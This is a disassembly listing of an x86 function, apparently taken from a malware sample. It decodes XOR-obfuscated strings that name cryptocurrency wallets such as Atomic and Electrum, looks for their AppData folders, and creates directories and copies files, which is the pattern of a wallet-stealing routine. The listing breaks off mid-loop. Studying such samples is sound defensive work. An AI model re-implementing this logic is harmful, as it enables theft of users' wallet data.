Function at 0x415b00
Capabilities:
Copy file
Create directory
Encode data using xor
Get common file path
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x52c57b
push eax
mov dword fs:[0], esp
mov eax, 0x1be8
push ebx
call fcn.00505c90
push esi
push edi
mov edi, ecx
push 0x104
lea eax, [ebp - 0x1af0]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.00506f10
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x1af0]
add esp, 0xc
push eax
push 0
push 0
push 0x1a
push 0
call esi
push 0x104
lea eax, [ebp - 0x1bf8]
push 0
push eax
call fcn.00506f10
add esp, 0xc
lea eax, [ebp - 0x1bf8]
push eax
push 0
push 0
push 0x1c
push 0
call esi
movaps xmm0, xmmword [0x551920]
xor ecx, ecx
movups xmmword [ebp - 0x89d], xmm0
mov dword [ebp - 0x88d], 0xa5a0b2d0
xorps xmm0, xmm0
mov byte [ebp - 0x889], 0xa6
movups xmmword [ebp - 0x888], xmm0
mov dword [ebp - 0x878], 0
mov word [ebp - 0x874], 0
mov byte [ebp - 0x872], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x89d], al
inc ecx
cmp ecx, 0x15
jb 0x415be0
lea eax, [ebp - 0x89d]
mov dword [0x5655ac], ecx
push eax
lea ecx, [ebp - 0x1298]
mov byte [ebp - 0x888], 0
call fcn.00402b70
lea ecx, [ebp - 0x1298]
call fcn.00402c10
push dword [ebp - 0x18]
lea ecx, [ebp - 0xd28]
mov esi, eax
call fcn.00402c20
mov ecx, esi
mov byte [ebp - 4], 2
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415c34
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xd28]
call fcn.00402c40
lea eax, [ebp - 0xd28]
mov byte [ebp - 4], 3
push eax
lea edx, [ebp - 0x1af0]
lea ecx, [ebp - 0xe90]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0xd28]
call fcn.00402ad0
lea ecx, [ebp - 0x1298]
mov byte [ebp - 4], 6
call fcn.00402ad0
lea ecx, [ebp - 0xe90]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test al, al
je 0x415df9
xorps xmm0, xmm0
mov dword [ebp - 0x64c], 0xddc5f1f3
mov word [ebp - 0x648], 0xddde
xor ecx, ecx
mov byte [ebp - 0x646], 0xd6
movups xmmword [ebp - 0x645], xmm0
mov dword [ebp - 0x635], 0
mov word [ebp - 0x631], 0
mov byte [ebp - 0x62f], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x64c], al
inc ecx
cmp ecx, 7
jb 0x415ce3
lea eax, [ebp - 0x64c]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x1280]
mov byte [ebp - 0x645], 0
call fcn.00402b70
lea ecx, [ebp - 0x1280]
mov byte [ebp - 4], 7
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0xb84]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1280]
mov byte [ebp - 4], 9
call fcn.00402ad0
lea ecx, [ebp - 0xb84]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x415d6d
push 0
lea ecx, [ebp - 0xb84]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x415dea
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0xb84]
mov dword [ebp - 0x18], esp
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xe90]
mov ecx, esp
push eax
call fcn.0048ccc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 9
call fcn.00412980
add esp, 0x30
test eax, eax
jne 0x415db2
mov byte [edi], 1
jmp 0x415dea
lea ecx, [ebp - 0xb84]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1268]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1268]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x1268]
call fcn.00402ad0
lea ecx, [ebp - 0xb84]
mov byte [ebp - 4], 6
call fcn.00402ad0
movaps xmm0, xmmword [0x551880]
xor ecx, ecx
movups xmmword [ebp - 0x9a2], xmm0
mov byte [ebp - 0x992], 0xcc
xorps xmm0, xmm0
mov dword [ebp - 0x981], 0
movups xmmword [ebp - 0x991], xmm0
mov word [ebp - 0x97d], 0
mov byte [ebp - 0x97b], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x9a2], al
inc ecx
cmp ecx, 0x11
jb 0x415e34
lea eax, [ebp - 0x9a2]
mov dword [0x565634], ecx
push eax
lea ecx, [ebp - 0x1250]
mov byte [ebp - 0x991], 0
call fcn.00402b70
lea ecx, [ebp - 0x1250]
call fcn.00402c10
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xd40]
mov dword [ebp - 0x18], eax
call fcn.00402c20
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x18]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415e90
sub ecx, dword [ebp - 0x18]
push ecx
push edx
lea ecx, [ebp - 0xd40]
call fcn.00402c40
lea eax, [ebp - 0xd40]
mov byte [ebp - 4], 0xe
push eax
lea edx, [ebp - 0x1af0]
lea ecx, [ebp - 0xe78]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0xd40]
call fcn.00402ad0
lea ecx, [ebp - 0x1250]
mov byte [ebp - 4], 0x11
call fcn.00402ad0
lea ecx, [ebp - 0xe78]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x41605a
xorps xmm0, xmm0
mov dword [ebp - 0x3ca], 0xd7ddf5f3
mov dword [ebp - 0x3c6], 0xc3c7c0d0
xor ecx, ecx
mov byte [ebp - 0x3c2], 0xda
movups xmmword [ebp - 0x3c1], xmm0
mov dword [ebp - 0x3b1], 0
mov word [ebp - 0x3ad], 0
mov byte [ebp - 0x3ab], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x3ca], al
inc ecx
cmp ecx, 9
jb 0x415f40
lea eax, [ebp - 0x3ca]
mov dword [0x565630], ecx
push eax
lea ecx, [ebp - 0x1238]
mov byte [ebp - 0x3c1], 0
call fcn.00402b70
lea ecx, [ebp - 0x1238]
mov byte [ebp - 4], 0x12
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0xa4c]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1238]
mov byte [ebp - 4], 0x14
call fcn.00402ad0
lea ecx, [ebp - 0xa4c]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x415fce
push 0
lea ecx, [ebp - 0xa4c]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x41604b
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0xa4c]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0xe78]
mov ecx, esp
push eax
call fcn.0048ccc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x14
call fcn.00412980
add esp, 0x30
test eax, eax
jne 0x416013
mov byte [edi], 1
jmp 0x41604b
lea ecx, [ebp - 0xa4c]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1220]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1220]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x1220]
call fcn.00402ad0
lea ecx, [ebp - 0xa4c]
mov byte [ebp - 4], 0x11
call fcn.00402ad0
movaps xmm0, xmmword [0x551810]
xor ecx, ecx
movups xmmword [ebp - 0x8c9], xmm0
mov dword [ebp - 0x8b9], 0xa7adacde
xorps xmm0, xmm0
mov byte [ebp - 0x8b5], 0xb7
movups xmmword [ebp - 0x8b4], xmm0
mov dword [ebp - 0x8a4], 0
mov word [ebp - 0x8a0], 0
mov byte [ebp - 0x89e], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x8c9], al
inc ecx
cmp ecx, 0x15
jb 0x4160a0
lea eax, [ebp - 0x8c9]
mov dword [0x5655ac], ecx
push eax
lea ecx, [ebp - 0x1208]
mov byte [ebp - 0x8b4], 0
call fcn.00402b70
lea ecx, [ebp - 0x1208]
call fcn.00402c10
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xea8]
mov dword [ebp - 0x18], eax
call fcn.00402c20
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x18]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416100
sub ecx, dword [ebp - 0x18]
push ecx
push edx
lea ecx, [ebp - 0xea8]
call fcn.00402c40
lea eax, [ebp - 0xea8]
mov byte [ebp - 4], 0x19
push eax
lea edx, [ebp - 0x1af0]
lea ecx, [ebp - 0xe60]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0xea8]
call fcn.00402ad0
lea ecx, [ebp - 0x1208]
mov byte [ebp - 4], 0x1c
call fcn.00402ad0
lea ecx, [ebp - 0xe60]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x4162ca
xorps xmm0, xmm0
mov dword [ebp - 0x62e], 0xddc9f5f3
mov word [ebp - 0x62a], 0xc1d7
xor ecx, ecx
mov byte [ebp - 0x628], 0xc6
movups xmmword [ebp - 0x627], xmm0
mov dword [ebp - 0x617], 0
mov word [ebp - 0x613], 0
mov byte [ebp - 0x611], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x62e], al
inc ecx
cmp ecx, 7
jb 0x4161b0
lea eax, [ebp - 0x62e]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x11f0]
mov byte [ebp - 0x627], 0
call fcn.00402b70
lea ecx, [ebp - 0x11f0]
mov byte [ebp - 4], 0x1d
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0xb6c]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x11f0]
mov byte [ebp - 4], 0x1f
call fcn.00402ad0
lea ecx, [ebp - 0xb6c]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x41623e
push 0
lea ecx, [ebp - 0xb6c]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x4162bb
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0xb6c]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0xe60]
mov ecx, esp
push eax
call fcn.0048ccc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x1f
call fcn.00412980
add esp, 0x30
test eax, eax
jne 0x416283
mov byte [edi], 1
jmp 0x4162bb
lea ecx, [ebp - 0xb6c]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x11d8]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x11d8]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x11d8]
call fcn.00402ad0
lea ecx, [ebp - 0xb6c]
mov byte [ebp - 4], 0x1c
call fcn.00402ad0
movaps xmm0, xmmword [0x5523e0]
xor ecx, ecx
movups xmmword [ebp - 0x871], xmm0
mov dword [ebp - 0x861], 0xb6a4acd3
xorps xmm0, xmm0
mov byte [ebp - 0x85d], 0xb0
movups xmmword [ebp - 0x85c], xmm0
mov dword [ebp - 0x84c], 0
mov word [ebp - 0x848], 0
mov byte [ebp - 0x846], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x871], al
inc ecx
cmp ecx, 0x15
jb 0x416310
lea eax, [ebp - 0x871]
mov dword [0x5655ac], ecx
push eax
lea ecx, [ebp - 0x11c0]
mov byte [ebp - 0x85c], 0
call fcn.00402b70
lea ecx, [ebp - 0x11c0]
mov byte [ebp - 4], 0x22
call fcn.00402c10
push eax
lea ecx, [ebp - 0x17f0]
call fcn.00402b70
push eax
lea edx, [ebp - 0x1af0]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0xe48]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0x17f0]
call fcn.00402ad0
lea ecx, [ebp - 0x11c0]
mov byte [ebp - 4], 0x26
call fcn.00402ad0
lea ecx, [ebp - 0xe48]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x41650a
xorps xmm0, xmm0
mov dword [ebp - 0x1fd], 0xd7ddf5f3
mov dword [ebp - 0x1f9], 0xc3c7c0d0
xor ecx, ecx
mov dword [ebp - 0x1f5], 0xf9edf4da
movups xmmword [ebp - 0x1f1], xmm0
mov dword [ebp - 0x1e1], 0
mov word [ebp - 0x1dd], 0
mov byte [ebp - 0x1db], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x1fd], al
inc ecx
cmp ecx, 0xc
jb 0x4163f0
lea eax, [ebp - 0x1fd]
mov dword [0x565528], ecx
push eax
lea ecx, [ebp - 0x11a8]
mov byte [ebp - 0x1f1], 0
call fcn.00402b70
lea ecx, [ebp - 0x11a8]
mov byte [ebp - 4], 0x27
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0xb54]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x11a8]
mov byte [ebp - 4], 0x29
call fcn.00402ad0
lea ecx, [ebp - 0xb54]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x41647e
push 0
lea ecx, [ebp - 0xb54]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x4164fb
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0xb54]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0xe48]
mov ecx, esp
push eax
call fcn.0048ccc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x29
call fcn.00412980
add esp, 0x30
test eax, eax
jne 0x4164c3
mov byte [edi], 1
jmp 0x4164fb
lea ecx, [ebp - 0xb54]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1190]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x1190]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x1190]
call fcn.00402ad0
lea ecx, [ebp - 0xb54]
mov byte [ebp - 4], 0x26
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [ebp - 0x46], 0xdcdefdf3
mov dword [ebp - 0x42], 0xeadac6d6
xor ecx, ecx
mov dword [ebp - 0x3e], 0xd6d5d9c0
mov word [ebp - 0x3a], 0xc8de
mov byte [ebp - 0x38], 0xce
movups xmmword [ebp - 0x37], xmm0
mov dword [ebp - 0x27], 0
mov word [ebp - 0x23], 0
mov byte [ebp - 0x21], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x46], al
inc ecx
cmp ecx, 0xf
jb 0x416543
lea eax, [ebp - 0x46]
mov dword [0x565558], ecx
push eax
lea ecx, [ebp - 0x1178]
mov byte [ebp - 0x37], 0
call fcn.00402b70
lea ecx, [ebp - 0x1178]
mov byte [ebp - 4], 0x2c
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1808]
call fcn.00402b70
push eax
lea edx, [ebp - 0x1af0]
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0xe30]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0x1808]
call fcn.00402ad0
lea ecx, [ebp - 0x1178]
mov byte [ebp - 4], 0x30
call fcn.00402ad0
lea ecx, [ebp - 0xe30]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x41672c
xorps xmm0, xmm0
mov dword [ebp - 0x610], 0xdcdefdf3
mov word [ebp - 0x60c], 0xc6d6
xor ecx, ecx
mov byte [ebp - 0x60a], 0xda
movups xmmword [ebp - 0x609], xmm0
mov dword [ebp - 0x5f9], 0
mov word [ebp - 0x5f5], 0
mov byte [ebp - 0x5f3], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x610], al
inc ecx
cmp ecx, 7
jb 0x416612
lea eax, [ebp - 0x610]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x1160]
mov byte [ebp - 0x609], 0
call fcn.00402b70
lea ecx, [ebp - 0x1160]
mov byte [ebp - 4], 0x31
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0xb24]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1160]
mov byte [ebp - 4], 0x33
call fcn.00402ad0
lea ecx, [ebp - 0xb24]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x4166a0
push 0
lea ecx, [ebp - 0xb24]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x41671d
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0xb24]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0xe30]
mov ecx, esp
push eax
call fcn.0048ccc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x33
call fcn.00412980
add esp, 0x30
test eax, eax
jne 0x4166e5
mov byte [edi], 1
jmp 0x41671d
lea ecx, [ebp - 0xb24]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1148]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x1148]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x1148]
call fcn.00402ad0
lea ecx, [ebp - 0xb24]
mov byte [ebp - 4], 0x30
call fcn.00402ad0
movaps xmm0, xmmword [0x5517c0]
xor ecx, ecx
movups xmmword [ebp - 0x97a], xmm0
mov byte [ebp - 0x96a], 0xc7
xorps xmm0, xmm0
mov dword [ebp - 0x959], 0
movups xmmword [ebp - 0x969], xmm0
mov word [ebp - 0x955], 0
mov byte [ebp - 0x953], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x97a], al
inc ecx
cmp ecx, 0x11
jb 0x416770
lea eax, [ebp - 0x97a]
mov dword [0x565634], ecx
push eax
lea ecx, [ebp - 0x1130]
mov byte [ebp - 0x969], 0
call fcn.00402b70
lea ecx, [ebp - 0x1130]
mov byte [ebp - 4], 0x36
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1820]
call fcn.00402b70
push eax
lea edx, [ebp - 0x1af0]
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x7d0]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0x1820]
call fcn.00402ad0
lea ecx, [ebp - 0x1130]
mov byte [ebp - 4], 0x3a
call fcn.00402ad0
lea ecx, [ebp - 0x7d0]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x417148
xorps xmm0, xmm0
mov dword [ebp - 0x1b7], 0xcad0faf3
mov dword [ebp - 0x1b3], 0xdff994cb
xor ecx, ecx
mov dword [ebp - 0x1af], 0xcecbddd5
mov byte [ebp - 0x1ab], 0xc2
movups xmmword [ebp - 0x1aa], xmm0
mov dword [ebp - 0x19a], 0
mov word [ebp - 0x196], 0
mov byte [ebp - 0x194], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x1b7], al
inc ecx
cmp ecx, 0xd
jb 0x416853
lea eax, [ebp - 0x1b7]
mov dword [0x56557c], ecx
push eax
lea ecx, [ebp - 0x1118]
mov byte [ebp - 0x1aa], 0
call fcn.00402b70
lea ecx, [ebp - 0x1118]
mov byte [ebp - 4], 0x3b
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0x910]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1118]
mov byte [ebp - 4], 0x3d
call fcn.00402ad0
lea ecx, [ebp - 0x910]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x4168e1
push 0
lea ecx, [ebp - 0x910]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x417139
xorps xmm0, xmm0
mov dword [ebp - 0x262], 0xd6dff9f3
mov dword [ebp - 0x25e], 0xd2d0ccd6
xor ecx, ecx
mov word [ebp - 0x25a], 0xfaf3
movups xmmword [ebp - 0x258], xmm0
mov dword [ebp - 0x248], 0
mov word [ebp - 0x244], 0
mov byte [ebp - 0x242], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x262], al
inc ecx
cmp ecx, 0xa
jb 0x416924
lea eax, [ebp - 0x262]
mov dword [0x5655e0], ecx
push eax
lea ecx, [ebp - 0x1100]
mov byte [ebp - 0x258], 0
call fcn.00402b70
lea ecx, [ebp - 0x1100]
mov byte [ebp - 4], 0x3e
call fcn.00402c10
push eax
lea edx, [ebp - 0x7d0]
lea ecx, [ebp - 0x1838]
call fcn.004909d0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x3f
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
lea ecx, [ebp - 0x1838]
mov byte [ebp - 0x11], al
call fcn.00402ad0
lea ecx, [ebp - 0x1100]
mov byte [ebp - 4], 0x3d
call fcn.00402ad0
cmp byte [ebp - 0x11], 0
je 0x416baf
xorps xmm0, xmm0
mov dword [ebp - 0x283], 0xd6dff9f3
mov dword [ebp - 0x27f], 0xd2d0ccd6
xor ecx, ecx
mov word [ebp - 0x27b], 0xfaf3
movups xmmword [ebp - 0x279], xmm0
mov dword [ebp - 0x269], 0
mov word [ebp - 0x265], 0
mov byte [ebp - 0x263], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x283], al
inc ecx
cmp ecx, 0xa
jb 0x4169f4
lea eax, [ebp - 0x283]
mov dword [0x5655e0], ecx
push eax
lea ecx, [ebp - 0x10e8]
mov byte [ebp - 0x279], 0
call fcn.00402b70
lea ecx, [ebp - 0x10e8]
mov byte [ebp - 4], 0x40
call fcn.00402c10
push eax
lea edx, [ebp - 0x910]
lea ecx, [ebp - 0xb3c]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x10e8]
mov byte [ebp - 4], 0x42
call fcn.00402ad0
lea ecx, [ebp - 0xb3c]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x416a85
push 0
lea ecx, [ebp - 0xb3c]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x416ba0
sub esp, 0x18
mov dword [ebp - 0x2a4], 0xd6dff9f3
lea eax, [ebp - 0xb3c]
mov dword [ebp - 0x1c], esp
xorps xmm0, xmm0
mov dword [ebp - 0x2a0], 0xd2d0ccd6
mov ecx, esp
mov word [ebp - 0x29c], 0xfaf3
push eax
movups xmmword [ebp - 0x29a], xmm0
mov dword [ebp - 0x28a], 0
mov word [ebp - 0x286], 0
mov byte [ebp - 0x284], 0
mov byte [ebp - 0x11], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0x43
xor ecx, ecx
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2a4], al
inc ecx
cmp ecx, 0xa
jb 0x416ae4
lea eax, [ebp - 0x2a4]
mov dword [0x5655e0], ecx
push eax
lea ecx, [ebp - 0x10d0]
mov byte [ebp - 0x29a], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x10d0]
mov esi, esp
call fcn.00402c10
push eax
lea edx, [ebp - 0x7d0]
mov ecx, esi
call fcn.004909d0
add esp, 4
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x45
call fcn.00412980
add esp, 0x30
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x10d0]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x416b62
mov byte [edi], 1
jmp 0x416b9a
lea ecx, [ebp - 0xb3c]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x10b8]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x10b8]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x10b8]
call fcn.00402ad0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0xb3c]
mov byte [ebp - 4], 0x3d
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [ebp - 0x125], 0xd1defcf3
mov dword [ebp - 0x121], 0xe595d8d2
xor ecx, ecx
mov dword [ebp - 0x11d], 0xdbcbd7c3
mov word [ebp - 0x119], 0xd9dc
movups xmmword [ebp - 0x117], xmm0
mov dword [ebp - 0x107], 0
mov word [ebp - 0x103], 0
mov byte [ebp - 0x101], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x125], al
inc ecx
cmp ecx, 0xe
jb 0x416c00
lea eax, [ebp - 0x125]
mov dword [0x565524], ecx
push eax
lea ecx, [ebp - 0x10a0]
mov byte [ebp - 0x117], 0
call fcn.00402b70
lea ecx, [ebp - 0x10a0]
mov byte [ebp - 4], 0x47
call fcn.00402c10
push eax
lea edx, [ebp - 0x7d0]
lea ecx, [ebp - 0x1850]
call fcn.004909d0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x48
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
lea ecx, [ebp - 0x1850]
mov byte [ebp - 0x11], al
call fcn.00402ad0
lea ecx, [ebp - 0x10a0]
mov byte [ebp - 4], 0x3d
call fcn.00402ad0
cmp byte [ebp - 0x11], 0
je 0x416e9b
xorps xmm0, xmm0
mov dword [ebp - 0x91], 0xd1defcf3
mov dword [ebp - 0x8d], 0xe595d8d2
xor ecx, ecx
mov dword [ebp - 0x89], 0xdbcbd7c3
mov word [ebp - 0x85], 0xd9dc
movups xmmword [ebp - 0x83], xmm0
mov dword [ebp - 0x73], 0
mov word [ebp - 0x6f], 0
mov byte [ebp - 0x6d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x91], al
inc ecx
cmp ecx, 0xe
jb 0x416cd1
lea eax, [ebp - 0x91]
mov dword [0x565524], ecx
push eax
lea ecx, [ebp - 0x17d8]
mov byte [ebp - 0x83], 0
call fcn.00402b70
lea ecx, [ebp - 0x17d8]
mov byte [ebp - 4], 0x49
call fcn.00402c10
push eax
lea edx, [ebp - 0x910]
lea ecx, [ebp - 0xb0c]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x17d8]
mov byte [ebp - 4], 0x4b
call fcn.00402ad0
lea ecx, [ebp - 0xb0c]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x416d62
push 0
lea ecx, [ebp - 0xb0c]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x416e8c
sub esp, 0x18
mov dword [ebp - 0x100], 0xd1defcf3
lea eax, [ebp - 0xb0c]
mov dword [ebp - 0x1c], esp
xorps xmm0, xmm0
mov dword [ebp - 0xfc], 0xe595d8d2
mov ecx, esp
mov dword [ebp - 0xf8], 0xdbcbd7c3
push eax
mov word [ebp - 0xf4], 0xd9dc
movups xmmword [ebp - 0xf2], xmm0
mov dword [ebp - 0xe2], 0
mov word [ebp - 0xde], 0
mov byte [ebp - 0xdc], 0
mov byte [ebp - 0x11], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0x4c
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x100], al
inc ecx
cmp ecx, 0xe
jb 0x416dd0
lea eax, [ebp - 0x100]
mov dword [0x565524], ecx
push eax
lea ecx, [ebp - 0x17c0]
mov byte [ebp - 0xf2], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x17c0]
mov esi, esp
call fcn.00402c10
push eax
lea edx, [ebp - 0x7d0]
mov ecx, esi
call fcn.004909d0
add esp, 4
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x4e
call fcn.00412980
add esp, 0x30
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x17c0]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x416e4e
mov byte [edi], 1
jmp 0x416e86
lea ecx, [ebp - 0xb0c]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x17a8]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x17a8]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x17a8]
call fcn.00402ad0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0xb0c]
mov byte [ebp - 4], 0x3d
call fcn.00402ad0
movaps xmm0, xmmword [0x552280]
xor ecx, ecx
movups xmmword [ebp - 0xc98], xmm0
mov dword [ebp - 0xc78], 0
xorps xmm0, xmm0
mov word [ebp - 0xc74], 0
movups xmmword [ebp - 0xc88], xmm0
mov byte [ebp - 0xc72], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xc98], al
inc ecx
cmp ecx, 0x10
jb 0x416ed0
